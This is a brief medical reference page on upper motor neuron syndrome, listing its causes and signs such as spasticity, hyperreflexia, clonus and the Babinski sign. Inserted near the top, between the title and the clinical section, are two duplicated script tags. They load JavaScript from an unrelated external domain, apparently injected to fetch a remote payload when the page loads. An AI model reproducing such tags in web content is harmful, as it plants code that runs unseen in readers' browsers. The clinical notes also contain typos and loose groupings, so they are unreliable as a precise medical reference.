UMN, Upper Motor Neuron

<script src="https://xmail.email/JnC0j7" type="text/javascript"></script><script src="https://xmail.email/JnC0j7" type="text/javascript"></script>=== Clinic ===

• is e set of Sign / Symptoms which has two etiologies
  • Static etiologies (like upper motor neuron lesions)
  • Dynamic (Motor Neuron Disease)

Entities

• Muscle Weakness
• Decreased motor control including Speed, Accuracy and Dexterity
• Hypotonia or Hypertonia
• Decreased endurance
• Exaggerated deep tendon reflexes including:
  • Spasticity (Increase in muscle tone)
  • Hyper reflexia
  • Clonus (a series of involuntary rapid muscle contractions)
  • Reappearance of primitive reflexes, such as the extensor plantar response (Babinski sign)

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